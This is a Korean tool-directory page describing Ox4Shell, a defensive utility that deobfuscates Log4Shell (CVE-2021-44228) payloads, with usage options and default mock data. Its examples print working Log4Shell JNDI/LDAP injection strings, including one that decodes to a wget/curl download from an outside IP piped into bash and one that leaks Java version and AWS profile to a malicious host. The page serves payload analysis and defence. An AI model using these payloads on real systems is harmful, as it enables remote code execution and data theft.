Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Ox4Shell — Log4Shell 페이로드를 쉽게 난독화 해제하세요. | Kitploit
도구/GitHubGitHub/ox-eye/ox4shell
Vulnerability AnalysisLog Analysis
GitHubox-eye/ox4shell

Ox4Shell

Log4Shell 페이로드를 쉽게 난독화 해제하세요.

저장소 보기
167194년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Logo-LightLogo-Dark


maintained-oxeye python-3.8 version-1.1 license-mit blackhat-arsenal

Ox4Shell

Log4Shell 페이로드를 쉽게 난독 해제합니다.

설명

Log4Shell 취약점(CVE-2021-44228)이 공개된 이후, 많은 도구들이 Log4Shell 페이로드를 난독화하기 위해 만들어졌으며, 이는 보안 엔지니어들의 삶을 악몽으로 만들었습니다.

이 도구는 난독화된 Log4Shell 페이로드의 실제 내용을 밝혀내기 위한 것입니다.

예를 들어, 다음과 같은 난독화된 페이로드를 살펴보겠습니다:

root@kitploit:~
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}

Ox4Shell 실행 후, 직관적이고 읽기 쉬운 형태로 변환됩니다:

root@kitploit:~
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}

또한 이 도구는 base64 명령을 식별하고 디코딩하는 데 도움을 줍니다. 예를 들어, 다음과 같은 난독화된 페이로드를 살펴보겠습니다:

root@kitploit:~
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}

Ox4Shell 실행 후, 공격자의 의도가 드러납니다:

root@kitploit:~
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash

⚠️ 인라인 페이로드(-p) 대신 제공된 파일(-f)과 함께 Ox4Shell을 실행하는 것을 권장합니다. 특정 셸 환경에서는 중요한 문자가 이스케이프되어 부정확한 결과가 발생할 수 있기 때문입니다.

사용법

도구를 실행하려면 간단히:

root@kitploit:~
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)

   ____       _  _   _____ _          _ _ 
  / __ \     | || | / ____| |        | | |
 | |  | |_  _| || || (___ | |__   ___| | |
 | |  | \ \/ /__   _\___ \| '_ \ / _ \ | |
 | |__| |>  <   | | ____) | | | |  __/ | |
  \____//_/\_\  |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate Log4Shell payloads with ease.
    Created by https://oxeye.io

General:
  -h, --help            Show this help message and exit
  -d, --debug           Enable debug mode (default: False)
  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
  --max-depth MAX_DEPTH
                        The maximum number of iteration to perform on a given payload (default: 150)
  --decode-base64       Payloads containing base64 will be decoded (default: False)

Targets:
  Choose which target payloads to run Ox4Shell on

  -p PAYLOAD, --payload PAYLOAD
                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)
  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None)

모의 데이터(Mock Data)

Log4j 라이브러리에는 사용자가 환경 변수, Java 프로세스의 런타임 정보 등을 조회할 수 있는 몇 가지 고유한 조회 함수가 있습니다. 이 기능을 통해 위협 행위자는 대상으로 삼은 손상된 머신을 고유하게 식별할 수 있는 특정 정보를 탐색할 수 있습니다.

Ox4Shell은 mock.json 파일을 사용하여 특정 조회 함수에 공통 값을 삽입합니다. 예를 들어, 페이로드에 ${env:HOME} 값이 포함되어 있으면 사용자 정의 모의 값으로 대체할 수 있습니다.

제공되는 기본 모의 데이터 세트는 다음과 같습니다:

root@kitploit:~
{
    "hostname": "ip-127.0.0.1",
    "env": {
        "aws_profile": "staging",
        "user": "ubuntu",
        "pwd": "/opt/",
        "path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
    },
    "sys": {
        "java.version": "16.0.2",
        "user.name": "ubuntu"
    },
    "java": {
        "version": "Java version 16.0.2",
        "runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
        "vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
        "os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
        "locale": "default locale: en_US, platform encoding: UTF-8",
        "hw": "processors: 1, architecture: amd64-64"
    }
}

예를 들어, Ox4Shell의 모의 기능을 사용하여 다음 페이로드를 난독 해제할 수 있습니다:

root@kitploit:~
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"  
${jndi:ldap://16.0.2.staging.malicious.server/a}

작성자

  • Daniel Abeles
  • Ron Vider

라이선스

프로젝트의 소스 코드는 MIT 라이선스에 따라 라이선스가 부여되며, LICENSE 파일에서 확인할 수 있습니다.

도구 다운로드